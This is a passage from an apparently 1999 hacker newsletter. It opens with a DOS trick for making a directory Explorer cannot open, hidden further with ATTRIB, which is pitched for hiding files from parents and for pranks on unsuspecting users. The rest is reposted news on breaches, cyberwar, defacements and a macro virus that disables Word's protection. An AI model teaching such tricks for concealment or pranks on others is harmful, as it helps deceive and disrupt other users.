      What the Average User Sees:
        To test it...go into windows File Manager or Explorer...you will see a C:\_ directory...when 
        you double click it will say : 
           " c:\_ not accessible. 
            This Folder was moved or removed"
        Heheh...If you really want to be bad ATTRIB the directory +H so no one in DOS can see it.
      
      
      Updated on 6/30/97...
      An Email I received by Gizmo
      
      Subject: Limitations using 255
      Date:  Mon, 30 Jun 1997 01:01:18 -0500
      
      I was just messing around and found the neat dos trick.  
      Not that it really matters but another limitation of the trick is that 
      if the "special directory" is a subdirectory then you can just use "deltree" on the parent 
      directory. 
      
      Here's an even simpler method... 
      Say you make a directory called "trick" inserting the null character in front. 
      Just type "deltree *trick".  And it's gone! 
      
      ===============================================================================================
      
      Why should I use this?
       -  Good for kids who want to hide porn from mommy and daddy!  
       -  If your a tech support person you know how lame users can be. This is handy for making 
          backups of configurations and covering your ass.
       -  Its probably also good to pull batch file pranks and such on unsuspecting lamers that use
          the 16 bit file manager in Windows 95.  (that one was for you Wyle)
      
      Its a small hack...but its for newbies who need to learn even the littlest of things count.
      
      If you have a small hack you think newbies should know please send it to
      km@hackersclub.com
      
      @HWA      
      
18.0  Cable + Wireless Security Compromised 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Lady Sharrow 
      Cable & Wireless Communications, a major ISP in
      England, has had its security breached. A database
      containing the personal information of 150,000 users
      was reportedly compromised. The database included
      e-mail addresses, passwords and telephone numbers.
      Cable & Wireless is unsure how the breach occurred but
      is investigating. 

      UK Telegraph       
      http://www.telegraph.co.uk/et?ac=001576828917683&rtmo=qudtuRt9&atmo=9999LpL9&pg=/et/99/10/25/nhack25.html
      
      Hacker spins a worldwide web of security fears
                                       By Sally Pook




     CONCERNS about the security of the internet deepened yesterday after a
     hacker claimed to have broken into a database containing the personal details
     of more than 150,000 users.

     Cable & Wireless Communications promised an immediate investigation into
     what appeared to be a "very serious breach of security".

     The hacker claimed to have used the information, including e-mail addresses,
     passwords and telephone numbers, to break into the web sites of 100 users
     yesterday. He said he did it to expose poor security at Cable & Wireless
     Communications, a subsidiary of the telecoms group.

     Clifford Longley, a columnist with The Daily Telegraph, found all his files had
     disappeared from his web site. He said: "All my articles had been deleted. I
     rang a helpline and the person on the telephone just said 'Oh my God'." Mr
     Longley was greeted by a notice on his web site from the hacker saying:
     "Looking for your homepage? It has been taken off the server. Nothing
     personal but this has been done to expose Cable & Wireless's poor security."

     The hacker claimed he had broken into a "normal" internet site containing
     details of more than 150,000 customers and said he had revealed the web
     address. Yesterday, a spokesman for Cable & Wireless Communications
     said: "We don't know why this has happened or how but we will investigate it
     as soon as possible. Customers' details are kept on an internal system, but if
     these claims are true, we will have to look at how these details got on to the
     internet."

     Two months ago, Hotmail, one of the biggest e-mail providers, was closed by
     its operator Microsoft after a security breach allowed anyone to read
     subscribers' messages.
     
     @HWA
     
19.0  Yugo Cyber War Not As Widespread As First Thought
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      Recent statements by high level military officials
      regarding the use of electronic techniques during the US
      - Yugoslavian war have increased conjecture as to what
      actually occurred. Rumors have spread about everything
      from implanting viruses to draining bank accounts.
      However, according to the commander of U.S. air forces
      in Europe cyber attacks were mainly focused on military
      air defense systems. 
      This article goes on to explore the legal aspects of
      attacks on other countries computer systems and claims
      that Operation Uphold Democracy in Haiti in 1994 was
      the first American penetration of foreign computer
      networks. 

      Washington Post        
      http://www.washingtonpost.com/wp-srv/national/dotmil/arkin.htm
      
      
      
      The Cyber Bomb in Yugoslavia 


      By William M. Arkin
      Special to washingtonpost.com
      Monday, October 25, 1999

      Gen. Henry Shelton, chairman of the Joint
      Chiefs of Staff, told reporters Oct. 7 that the United States waged
      information warfare as part of the NATO bombing campaign earlier this
      year. His confirmation fueled media conjecture that American hackers
      plundered Yugoslav bank accounts and took other Clancy-esque actions
      against Slobodan Milosevic's networks and infrastructure.

      But I have learned from high-level Defense Department sources that the
      U.S. did not penetrate any banking networks. What is more, the
      Pentagon's own top legal office believes that such attacks may be
      unlawful.

      Operations against Yugoslav computer systems were focused on military
      air defense systems. Gen. John Jumper, commander of U.S. air forces in
      Europe, confirmed this to Aviation Week and Space Technology in
      August.

      Concerns about international legal constraints on electronic information
      warfare have so far deterred American government hackers from
      exercising their full capabilities. Moreover, the Pentagon says it is
      hampered by a lack of a national information operations vision and
      strategy. "The conduct of an integrated campaign was delayed by the lack
      of both advance planning and strategic guidance defining key objectives,"
      its Kosovo after-action review released this month says. 

      Have Your Lawyer Call My General 

      While bombs were falling in Yugoslavia, the Pentagon Office of General
      Counsel finished a 50-page internal "Assessment of International Legal
      Issues in Information Operations." Though it notes that it is "by no means
      clear what information operations (IO) techniques will end up being
      considered to be 'weapons'" in the eyes of the international community, the
      traditional law of war applies to military-inspired "computer network
      attack."

      "Offensive IO are governed by the same legal principles" that govern the
      use of force, according to retired Marine Corps lawyer Walter "Gary"
      Sharp, Shelton's former deputy legal counsel responsible for information
      war. These include maintaining the distinction between combatants and
      noncombatants, and the doctrine of military necessity. "What we cannot
      do kinetically we cannot do electronically," Sharp says.

      Accordingly, the Pentagon's May assessment states that "stock
      exchanges, banking systems, universities, and similar civilian infrastructures
      may not be attacked simply because a belligerent has the ability to do so."
      Under the principle of military necessity, to go after Milosevic's and his
      cronies' bank accounts, whether with bombs or bits, requires that "the
      attacking force can demonstrate that a definite military advantage is
      expected from the attack." 

      Noting the "current formative period" of information warfare, the Pentagon
      appraisal warns of the possibility that "efforts will be made to restrict or
      prohibit information operations by legal means."

      Your Wish is Our Command 

      Knowledgeable military sources say that Yugoslavia is not the first
      American penetration of foreign computer networks. Computers were
      broken into and exploited during Operation Uphold Democracy in Haiti in
      1994, according to sources. President Clinton personally approved the
      operation.

      Since Haiti, these same sources said, a number of "relatively low key"
      computer exploitations have accompanied other peacekeeping operations.
      Many of these have been little more than high-tech intelligence collection
      missions. In many other cases, says one insider, the Joint Staff office of
      "special technical operations" prepared "approval packages" for the
      Secretary of Defense and the President, but the "process took so long the
      operations were overtaken by events and we didn't engage in them."

      System Access To What End 

      When Yugoslavia turned into a hot war, air planners at U.S. European
      headquarters worked in San Antonio with the Joint Command and
      Control Warfare Center (JC2WC--known as "jake-wick" in the military)
      to devise a scheme to insert false messages and targets into the centralized
      air defense command network. But political hesitations in the approval
      process stood in the way of the operation beginning with the opening
      bombing salvos on March 24.

      A Top Secret U.S.-only operation to penetrate the Yugoslav air defense
      system was approved soon after the bombing began, Air Force sources
      say. Here would be the first test of a new weapon and capability in
      combat. At the same time though, NATO was surprised when Yugoslav
      radar operators did not turn on their systems. Evidently learning from Iraq,
      they kept a low "electronic profile," thus thwarting the traditional electronic
      attack with anti-radiation missiles and jammers. This was fortunate for the
      cyber-warriors, for it made a computer penetration all the more important
      if it could confuse or disable the network of surface-to-air missiles.

      But by the time all of the pieces of the information war were in place,
      enough physical damage had been done to Yugoslav bunkers and
      command lines, it became difficult to isolate and assess the impact of the
      cyber attack.

      For Gary Sharp and other legal specialists in this burgeoning field of
      information warfare, Yugoslavia merely stands as another demonstration
      that computer network attack will eventually become an integral part of
      the way warfare is waged. "We have not fully realized the breadth of the
      capabilities and the potential," Sharp says.

      The General Counsel report agrees. It concludes that there are "no
      show-stoppers in international law" for the types of information operations
      "as now contemplated" by the Pentagon as long as existing legal
      obligations are followed. The Counsel's report is silent on covert
      cyber-warfare that might be "contemplated" by other agencies.

      William M. Arkin can be reached for comment at
      william_arkin@washingtonpost.com

            © Copyright 1999 Washington Post.Newsweek Interactive
    
      @HWA         
            
20.0  England To Launch High Tech Crime Unit 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by no0ne 
      Expected to be formed in London next year is an
      anti-computer crime team that will be composed of
      specialist police officers, security people from both the
      MI6 and MI5, and experts from academy and industry.
      This team will be called the "High Tech Crime Unit", the
      team will have units to cover various computer crimes
      that span from computer intrusion, pornography,
      counterfeiting, and fraud. 

      The London Independent 
      http://199.97.97.16/contWriter/cnd7/1999/10/25/cndin/8263-1466-pat_nytimes.html
      

      British Police Launch a Cyber Squad to Combat Internet Crime 

       JASON BENNETTO 
       c.1999 The Independent, London 

       LONDON -- A national police squad is to be set up to tackle the growing
       menace of computer and Internet crime. 

             A confidential police assessment shows that ``cyber-crime'' in Britain is
       growing -- it includes such activities as money laundering, pornography,
       counterfeiting, hacking, and fraud. 

             The new computer crime team is expected to include experts from
       universities and the electronics industry, intelligence from the security services
       MI6 and MI5, as well as specialist police officers. 

             The squad is expected to be based at the National Criminal Intelligence
       Service (NCIS) in London. Ministers have given their backing to the idea
       and the police intend to ask Home Office officials next month for extra
       funding for the project. 

             The police have already taken advice from code-breaking experts at the
       National Security Agency, the American intelligence organization, and plan to
       exchange information with the FBI. 

             The squad is expected to be called the ``High Tech Crime Unit'' and will
       have ``cells'' or specialist sectors to deal with different types of cyber-crime.
       They will cover a range of areas, which have been identified in a report by
       the Association of Chief Police Officers (ACPO), that include fraud,
       pornography, pedophile activity, spreading race hate, counterfeiting,
       gambling, hacking and stealing information, software piracy, money
       laundering, and sabotage involving computer viruses. 

             The unit follows growing unease among chief constables and John
       Abbott, the director general of NCIS, about the growth in crime committed
       using computer systems and the Internet. Millions of pounds are lost every
       year as criminals switch from traditional methods of law-breaking to cyber
       offences where there are fewer risks of being caught. 

             David Phillips, the chief constable of Kent and head of the ACPO's
       crime committee, said: ``Traditional crimes - deception, fraud, pornography,
       swindles of all kind - are taking place via the Internet. We have to go on the
       offensive as hunters in this sea of information. 

             ``You have to go into deep battle and attack criminals whenever they
       surface.'' He argued that the lack of a specialist team meant that ``at present
       we are almost blind.'' He said: ``We recently had discussions with [computer
       experts from] the USA who told us they were dealing with millions of pounds
       of criminal transactions. They are just mind-boggling levels of crime.'' He
       added that the squad, which is likely to be set up next year, would link up
       with forces throughout the country. 

             ----- 

             (Distributed by New York Times Special Features) 
             
      @HWA      
      
21.0  First Project Macro Virus Discovered 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by nvirB 
      Corner is suspected to be the first virus to infect MS
      Project files. This macro virus can travel between MS
      Word and MS Project. It does not have a malicious
      payload and does nothing but replicate. Corner even has
      a nice little poem at the end of its code. The poem is
      from Joy Division's song "Twenty-four hours", taken from
      their 1980 album titled "Closer". 

      Data Fellows        
      http://www.data-fellows.com/v-descs/corner.htm
      
      F-Secure Virus Information Pages


       NAME:
             Corner
       ALIAS:
             Project virus, P98M


      Corner is the first macro virus to infect Microsoft Project application. This virus infects
      both Project and Word and can travel between them. 

      When an infected document is opened to Microsoft Word 97 or 2000, P98M/Corner.A
      checks if Microsoft Project is running. If it is, it gets infected. 

      The Word part of the virus is a simple class infector. It spreads when an infected
      document is closed. At this time it sets the Office 2000 security settings to low,
      disables the "Tools/Macros" menu and turns off the macro virus protection. After that the
      virus replicates to all opened documents. 

      Corner is not able to infect Microsoft Word 2000, unless the user has first changed the
      security settings to medium or low. 

      To infect Project, the virus adds a new blank project and inserts the virus code to the
      "ThisProject" class module. 

      When an infected document is opened to Microsoft Project 98, Corner.A infects Word
      application, even if it is not running. 

      The MS Project part of the virus is not resident, and it does not infect the global project.
      The virus replicates during the project deactivation (after an infected project has been
      opened). 

      The virus infects Word application by opening it and inserting the virus code in the global
      template's class module "ThisDocument". This process is hidden from the user and the
      user can't see the infection of Word. 

      Corner.A virus contains the following comments at the end of its code: 



              'I never realized the lengths I'd have to go
              'All the darkest corners of a sense
              'I didn't know
              'Just for one moment
              'hearing someone call
              'Looked beyond the day in hand
              'There's nothing there at all
              'Project98/Word97-2k Closer

      The text is from Joy Division's song "Twenty-four hours", taken from their 1980 album
      titled "Closer". 

      Corner does not do anything but replicate. 

      [Analysis: Katrin Tocheva and Sami Rautiainen, Data Fellows]  
      
      @HWA


22.0  Microsoft Web Page Defaced 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Space Rogue 
      The web site for Microsoft's Conference Management
      Server was defaced late Sunday evening and was still
      not fixed over 24 hours later. The defacement consisted
      of two seperate index files and was not one of the main
      pages. This defacement joins several military severs
      that have recently been defaced including US Army
      Reserve Command, White Sands Missile Range, Navy
      Management System Support Office, Department of
      Veterans Affairs and others. 

      Attrition Mirror 
      http://www.attrition.org/mirror/attrition/
      
      @HWA
      
23.0  Rubi-Con Wants You! 
      ~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by locutus 
      Rubi-Con organizers have issued an official call for
      speakers. Rubi-Con 2000 is scheduled for April 28-30,
      2000 in Detroit Michigan. Speakers even get free
      goodies like extra free passes for your friends and a free
      t-shirt. WooHoo! 
      
      Rubi-Con      
      http://www.rubi-con.org
      
      @HWA
      
24.0  Clinton Signs Phone-Tracking Bill Under 911 Cover 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Brian Oblivion 
      A provision of a bill that makes 911 the official
      emergency number across the country has been signed
      into law. One provision of this law directs the Federal
      Communications Commission to help states develop
      systems that can automatically locate cellular callers
      who have dialed 911. The new system will probably take
      advantage of GPS to locate callers. The law also calls
      for "automatic notification when a vehicle is involved in
      an accident." (The potential abuses of these new
      systems is frightening.) 

      Associated Press       
      http://library.northernlight.com/EC19991026990000010.html?cb=200&dx=2006&sc=1#doc

      Story Filed: Tuesday, October 26, 1999 5:04 PM EDT 

      WASHINGTON (AP) -- President Clinton signed legislation Tuesday making 911 
      the official emergency number nationwide -- for both regular and cellular 
      phones. 

      The measure also calls for development of technology that can track mobile 
      callers. 

      People with wireless phones now will be able to speed responses to highway 
      accidents, crimes and natural disasters,'' Clinton said. ``Getting rapid 
      care to someone who is suffering from a heart attack or is involved in a 
      car crash can mean the difference between       life and death.'' 

      While 911 is widely used as the emergency number for traditional phones, 
      there are 20 different codes for wireless callers across the country. The 
      changes are aimed at cutting response times for the crews who answer 
      98,000 emergency calls daily from cellular       phone callers. 

      ``In my home state,'' said Sen. Conrad Burns, R-Mont., ``three quarters of 
      the deaths in rural areas are because the first responders couldn't get 
      there in time.'' 

      Health care professionals joined Burns at a Capitol Hill news conference 
      to applaud the new law. 

      ``We have great emergency room personnel. We can do a lot for accident 
      victims if we can find them and get them there,'' said Barbara Foley of 
      the Emergency Nurses Association. ``That's what this legislation helps us 
      do.'' 

      Another provision of the act directed the Federal Communications 
      Commission to help states develop emergency systems, including technology 
      that can automatically locate cellular callers who have dialed 911 or been 
      involved in an accident. 

      The FCC in September moved forward with plans to require that cellular 911 
      calls automatically provide a caller's location. Regulators want 
      manufacturers to begin providing locator technology within two years. 

      Privacy advocates have raised concerns about potential abuse of the 
      technology, which would take advantage of the Global Positioning System 
      developed by the military. 

      The law signed Tuesday called on regulators to establish ``appropriate 
      privacy protection for call location information,'' including systems that 
      provide automatic notification when a vehicle is involved in an accident. 

      It said that calls could only be tracked in nonemergency situations if the 
      subscriber had provided written approval. ``The customer must grant such 
      authority expressly in advance of such use, disclosure or access,'' 
      according to Senate documents detailing       provisions of the 
      legislation. 

      An estimated 700 small and rural counties have no coordinated emergency 
      service to call -- even with traditional phones. The bill would encourage 
      private 911 providers to move into those areas by granting the same 
      liability protections to wireless operations       that now are offered to 
      wireline emergency service systems. 

      Separately, the FCC took action earlier this year to increase the number 
      of cellular calls to 911 that are successfully completed. The commission 
      required that new analog cellular phones -- not existing phones -- be made 
      with software that routes 911 calls to       another carrier when a 
      customer's own service cannot complete the call. 

      Calls sometimes aren't completed because a caller is in an area where his 
      or her carrier does not have an antenna, because networks are overloaded 
      or because buildings or geography block signals. 

      Digital phones, of which 18.8 million now are in use, were not covered by 
      the new FCC rules adopted in May because such phones are more complex than 
      their analog counterparts and there is no easy fix for the problem. 

      Copyright © 1999 Associated Press Information Services, all rights reserved.
      
      @HWA
      
25.0  Carry Tax on Dollars Proposed 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Br0k3 
      A new tax proposed by Marvin Goodfriend, a senior vice
      president at the Federal Reserve Bank of Richmond
      would cost you money the longer you held cash without
      depositing it. This Carry Tax would be deducted from
      each bill upon deposit according to how long the bill was
      in circulation. According to Goodfriend this would have
      the effect of discouraging people who 'hoard' currency,
      deter black market and criminal activities, and boost
      economic stability during deflationary periods. (Before
      you know it they will be putting cellular tracking devices
      in your money so when it gets stolen it can be
      recovered.) 

      Wired       
      http://www.wired.com/news/politics/0,1283,32121,00.html
      
      Cash and the 'Carry Tax' 
      by Declan McCullagh 
      
      3:00 a.m. 27.Oct.1999 PDT 
      WASHINGTON -- US currency should include tracking devices that let the 
      government tax private possession of dollar bills, a Federal Reserve 
      official says. 

      The longer you hold currency without depositing it in a bank account, the 
      less that cash will be worth, according to a proposal from Marvin 
      Goodfriend, a senior vice president at the Federal Reserve Bank of 
      Richmond.       

      In other words, greenbacks will get automatic expiration dates. 

      "The magnetic strip could visibly record when a bill was last withdrawn 
      from the banking system. A carry tax could be deducted from each bill upon 
      deposit according to how long the bill was in circulation," Goodfriend 
      wrote in a recent       presentation to a Federal Reserve System 
      conference in Woodstock, Vermont. 

      The 34-page paper argues a carry tax will discourage "hoarding" currency, 
      deter black market and criminal activities, and boost economic stability 
      during deflationary periods when interest rates hover near zero. 

      It says new technology finally makes such a scheme feasible. "Systems 
      would have to be put in place at banks and automatic teller machines to 
      read bills, assess the carry tax, and stamp the bills 'current,'" the 
      report recommends. 

      Goodfriend said in an interview that banks might place a kind of visible 
      "date issued" stamp on each note they distributed. "The thing could 
      actually stamp the date when the bill comes out of the ATM," he said. 

      Congressional critics say they would oppose any such move. 

      "The whole idea is preposterous. The notion that we're going to tax 
      somebody because they decide to be frugal and hold a couple of dollars is 
      economic planning at its worst," said Representative Ron Paul (R-Texas), a 
      free-market       proponent who serves on the House Banking committee. 

      "This idea that you can correct some of the evil they've already created 
      with another tax is just ridiculous," Paul said. Other economists say a 
      carry tax is not a wise plan. 

      "This is going beyond taxing banks for holding reserves. It's taxing the 
      public for holding currency too long. That's even more wild an idea," says 
      George Selgin, a University of Georgia economics professor who specializes 
      in monetary       policy. "There are sweeping implications of these 
      suggestions beyond whatever role they might play in thwarting a 
      deflationary crisis... I think it's a very dangerous solution to what may 
      be a purely hypothetical problem," Selgin said. 

      Goodfriend discusses an alternative: The Fed should at times prevent 
      Americans from withdrawing cash from their bank accounts. "Suspending the 
      payment of currency for deposits would avoid the cost of imposing a carry 
      tax on       currency." 

      But he concludes that such a move would have "destabilizing" effects, and 
      recommends that the Federal Reserve instead "put in place systems to raise 
      the cost of storing money by imposing a carry tax." 

      The idea has been discussed before. Economist John Keynes mentioned the 
      possibility, but dismissed it because of the administrative hassles 
      involved. 

      Silvio Gesell, a Keynes contemporary and like-minded thinker, also 
      suggested taxing money to allow lower interest rates. 

      But Goodfriend says that technology has advanced since then. "In light of 
      recent advances in payments technology and the less-than-satisfactory 
      alternatives, imposing a carry tax on money seems an eminently practical 
      and       reasonable way [to proceed]," he writes. 

      He said the Federal Reserve has technology that would make it "feasible," 
      but refused to give details. 

      One reason for a carry tax, he says, is the reduced influence of the US 
      central bank when prices are not increasing and inflation is close to 
      zero. During such a period, banks are less likely to make loans -- even if 
      the Fed tries to spur       an economic expansion through open market 
      operations. 

      But if the government taxes the currency holdings of individuals and banks 
      through an occasional carry tax, they may be inclined to lend money even 
      at a negative interest rate in order to avoid holding on to it. 

      "This proposal is made well in advance of any problem we have in the US.
      It's not an emergency proposal at this point," he said. The report says 
      Congress would have to pass legislation allowing such a tax. 
      
      
      @HWA
      
26.0  $250 Million in Police Tech Approved 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Br0k3 
      Part of the $39 billion fiscal 2000 appropriations bill that
      funds the departments of Commerce, Justice and State
      includes $250 million for law enforcement technology.
      $130 million of the money will be used for the Crime
      Identification Technology Program which will help local
      communities participate in national crime databases and
      improve crime laboratories. Monies are also earmarked
      for upgrades and increased management of various
      systems as well as development of multi-jurisdictional,
      multi-agency communications systems. 

      Civic.com       
      http://www.civic.com/news/1999/oct/civ-law-10-26-99.html
      
      Congress Approves $250 Million
      for Law Enforcement Technology

      October 26, 1999

      The House and Senate last week approved $250 million in funding for law
      enforcement technology as part of the $39 billion fiscal 2000 appropriations
      bill that funds the departments of Commerce, Justice and State.

      The $250 million compromise bill, approved during a House/Senate
      conference, comes after the original House version of the bill proposed taking
      $60 million from a trust fund to bankroll the high-tech projects and the Senate
      version earmarked $350 million for the effort. 

      According to the conference report, $130 million will be used for the Crime
      Identification Technology Program, which was born out of the 1998 Crime
      Identification Technology Act. The act established a five-year, $1.25 billion
      grant program for state and local governments to help local communities
      participate in national crime databases and improve crime laboratories. 

      Congress also included specific language in the report that outlined various
      uses for the money, including upgrades to criminal history and criminal justice
      record systems; improved management of criminal justice identification, such
      as fingerprint-based systems; integration of national, state and local systems
      for criminal justice purposes; and development of multijurisdictional,
      multiagency communications systems. 

      U.S. Sen. Mike DeWine (R-Ohio), a former prosecutor, championed the bill,
      which gained House and Senate approval Oct. 22. "It is crucial [that] the
      dedicated men and women who are on the front line of crime-fighting efforts
      have access to advanced technology," DeWine said. "Crimes today are being
      committed with the use of technology, so it only makes sense that they be
      solved with advanced technology."

      The bill also provides funding for two $7.5 million grants that cover individual
      state efforts in high-tech law enforcement. Kentucky received a grant for a
      statewide law enforcement program, and the Southwest Alabama Department
      of Justice will use the money to integrate data from various criminal justice
      agencies. States also will receive $30 million in grants to reduce their DNA
      backlogs and for the Crime Laboratory Improvement Program. 

      The bill also includes $15 million for Safe Schools technologies, which are
      geared toward providing more effective safety techniques in the nation's
      schools, and $35 million for the Brady Act to upgrade criminal history
      records.

      -- Dan Caterinicchia (danc@civic.com)
      
      @HWA
      
27.0  Interview With Web Inventor 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Deepquest 
      Forbes magazine has an interesting interview with
      Robert Cailliau, the co-inventor of the World Wide Web.
      In the article Cailliau proposes some radical ideas,
      everything from a pay per page model of the internet to
      licensing all internet users. 

      Forbes       
      http://www.forbes.com/Forbes/99/1101/6411112a.htm
      
      Regulate the Internet? The very idea sends
      shivers down a lot of spines. But one of the
      Web's inventors argues that only regulation
      can save it from its own excesses. 

      Bring in the Cyberpolice 

      By Christopher Watts 

      CYBERSPACE IS GETTING SCARY. Those
      sleazy porn sites. Viruses. Gaudy ads.
      Unstoppable spam e-mail. You click "okay"
      on an e-commerce item and hope that your
      money doesn't vanish into some Internet
      bandit's account in Lagos. If things get
      much worse, logging on to the Net may be
      as perilous as straying into a bad part of
      town after dark. 

      An exaggeration? Robert Cailliau, the
      co-inventor of the World Wide Web, doesn't
      think so. 

      "There was a time when the community that
      was on the Net was homogenous and
      civilized," sighs Cailliau. "Now it's not. We're
      in the middle of chaos. It may calm down.
      But the alternative is that there's a total
      meltdown of the system and that it
      becomes unusable. That would be a
      catastrophe. We must regulate [the Web] if
      we want to have some civilization left. And
      it's getting urgent." 

      As staffers in the early 1990s at Geneva's
      European Laboratory for Particle Physics (a
      20-country research collaboration known by
      its French acronym, CERN), Cailliau and a
      now high-profile British colleague, Tim
      Berners-Lee, developed the address formats
      and other standards to create the World
      Wide Web. Berners-Lee is now at the
      Massachusetts Institute of Technology and
      has just published a book titled Weaving the
      Web: The Original Design and Ultimate
      Destiny of the World Wide Web by its
      Inventor (HarperCollins, San Francisco). 

      Today the lower-profile Cailliau, a
      52-year-old Belgian native, heads Web
      communications at CERN and spends much
      of his time with the International World Wide
      Web Consortium, a standards-setting body. 

      How would Cailliau make the Web more civil
      and less chaotic? His controversial idea is
      that we should find some means other than
      banner ads to finance it. "The forced
      influence of advertising has given us
      completely useless TV," he notes. "You don't
      want that on the Net. But most on-line
      information providers need to attract
      advertising--which slows downloads and
      clutters the screen with windows." 

      The bandwidth explosion will solve the speed
      problem, but it won't address the clutter
      problem. To reduce the Web's dependence
      on advertising, Cailliau proposes a so-called
      micropayment system, wherein Web surfers
      would pay a few cents every time they
      download a page from the Web. "It would
      change the landscape completely if
      [Web-site owners] could live by providing a
      high-quality, responsive service," says
      Cailliau. 



           License all Internet users the
           way automobile drivers must
           be licensed....



      How would the micropayments idea work?
      Cailliau replies: 

      "An article from a newspaper would [cost
      users] something on the order of a cent or
      less, but a really hot item could be several
      cents, depending on what the author thinks
      he or she can get away with. If you find it
      too expensive, you go somewhere else. The
      site that's too expensive loses clients." 

      Cailliau points to France's Minitel system,
      which operates over France Telecom's
      wires. From public or private terminals,
      Minitel users pay modest amounts for
      access to information on everything from
      movie schedules to restaurant reviews--with
      not an ad in sight. "You know what you're
      going to pay, and you know what you're
      going to get," says Cailliau. 

      But doesn't Minitel charge users according
      to time spent on-line, rather than per-page
      fees? "That's the wrong model," Cailliau
      concedes. "But even that bad model has
      been shown to be commercially
      successful--even today, parallel to the
      Web. I always believed that if we did not
      have the telecom monopolies in Europe at
      the time of Minitel's introduction--if anyone
      in all of Europe could have subscribed to
      it--it would have spread like wildfire. 'Minitel
      Version Two' would have been what the
      Web is now." 

      Cailliau's other proposal to save the Web
      from its own success: License all Internet
      users, the way automobile drivers must be
      licensed to use public streets. In defense of
      this controversial idea, Cailliau says: "To get
      a license, people would have to learn basic
      behavior: choosing an Internet service
      provider; connecting to the Web; writing
      e-mails; problem diagnosis; censoring your
      own computer; and setting up a site. More
      important than that: knowing what dangers
      to expect and knowing how the Internet can
      influence others." 

      But wouldn't licensing, by making Internet
      users more traceable and accountable, run
      counter to the free spirit of the Web--which
      helped it develop so rapidly? And wouldn't
      licensing also crimp the Internet's power to
      fight Big Government's power? 

      Perhaps. But Cailliau does insist on pointing
      out this: "If you operate a TV or radio
      station, you have to have a license. It has
      nothing to do with fundamental freedom. It
      has to do with protection of the average
      citizen against abuses." 

      Cailliau continues: "Everybody thinks that
      licenses are perfectly all right on the roads,
      because of the danger to life and limb. But
      one can equally cause a lot of harm by
      spreading false and dangerous information.
      Sooner or later someone is going to be able
      to trace the death of a person to an
      Internet act. Then [the licensing question]
      will probably be taken seriously." 

      @HWA
      
28.0  Computer Attacks Up Sharply in Hong Kong 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/


      contributed by evilwench 
      In the first eight months of 1999 there have been 138
      reported cyber attacks compared with only 18 for all of
      last year, reported Senior Inspector Paul Jackson of the
      Police Computer Security Unit in Hong Kong. 

      South China Morning Post       
      http://www.technologypost.com/personal/DAILY/19991027102522210.asp?Section=Main
      
      
      Published on Wednesday, October 27, 1999
   
      PERSONAL COMPUTING 
   
      Hackers step up attacks on SAR 
   
      ERIC NG 
   
      The number of computer-hacking cases reported to
      police in the first eight months of this year was 138
      compared with 13 for the whole of last year. 
   
      Senior Inspector Paul Jackson of the Police Computer
      Security Unit disclosed the figures yesterday during a
      seminar on Internet-related data protection organised by
      the Federation of Hong Kong Industries. 
   
      While the figures might suggest more organisations were
      willing to report hacking crime than previously,
      Inspector Jackson said "far too many organisations do
      not report hacking cases for fear of bad publicity". 
   
      He did not give figures on damage suffered by victims,
      saying it was difficult in many cases to qualify the
      monetary losses. 
   
      The number of cases involving the private sector was
      not revealed. 
   
      Inspector Jackson cited one case under investigation in
      which the network of a large SAR organisation had
      suffered multiple hacking attacks for three months early
      this year before they were discovered. 
   
      "The source of the attacks was from overseas, but we
      don't know all the things the hacker might have done
      and therefore cannot be sure of the extent of damage,"
      he said. 
   
      Meanwhile, an Internet auction case, still under
      investigation, involved Hong Kong fraudsters and
      multiple victims worldwide. 
   
      The number of Internet shopping fraud cases reported in
      the first eight months was 13, compared with one for the
      whole of last year. 
   
      Inspector Jackson said the application of laws on
      e-commerce fraud cases had been difficult as new types
      of frauds appeared all the time. 
   
      "We are on a big learning curve [on e-commerce
      cases]," he said. 
   
      Inspector Jackson said his unit had maintained a close
      liaison with SAR Internet service providers and was
      trying to set up an informal group for them to share their
      experiences on computer crime and solutions. 
   
      Another speaker at yesterday's seminar, Director of
      Information Technology Services Lau Kam-hung, said
      the Government would set up its Secure Central Internet
      Gateway early next year, adopting internationally
      accepted security standards. 
   
      "It will protect the government bureaus and departments
      by means of fire-walls, virus-detection systems and
      pro-active intrusion-detection systems," he said. 
      
      Wired;
      
      Crackers Penetrate MS Site 
      Wired News Report 

      4:00 p.m. 26.Oct.1999 PDT       Microsoft Web site cracked! For first time 
      ever, a Microsoft site defaced! 

      Says so right there in Tuesday's tech media headlines. 

      Well, sort of. Not really, said Microsoft. 

      "No part of the Web presence of Microsoft was compromised," said spokesman 
      Adam Sohn. "There's no new vulnerability here." 

      Then how to explain the message, "flipz was here and f0bic, your seksi 
      voice helped me through the night heh. Save the world. Kill Bill," that 
      appeared on a Microsoft's "Conference Management Server" Web site? 

      The answer, according to Microsoft, is that the site was indeed cracked. 
      But it belonged to a lone Microsoft engineer's "test box," a standalone 
      Web server the engineer used to test code. The server was not connected to 
      either       Microsoft.com or MSN.com or the Microsoft Intranet. 

      There are many such standalone servers, said Sohn, all of them outside the 
      corporate Web ring. 

      "Obviously, this one was not properly patched," said Sohn. "The guy who 
      put up the site, while he obviously knows a lot about information 
      technology, probably wasn't paying too much attention" to security. 
      Nothing was compromised,       said Sohn. 

      So, properly speaking, fortress Microsoft.com remains unbreached -- at 
      least by Web site spoofers. It's not for lack of trying, said a 
      weary-sounding Sohn. 

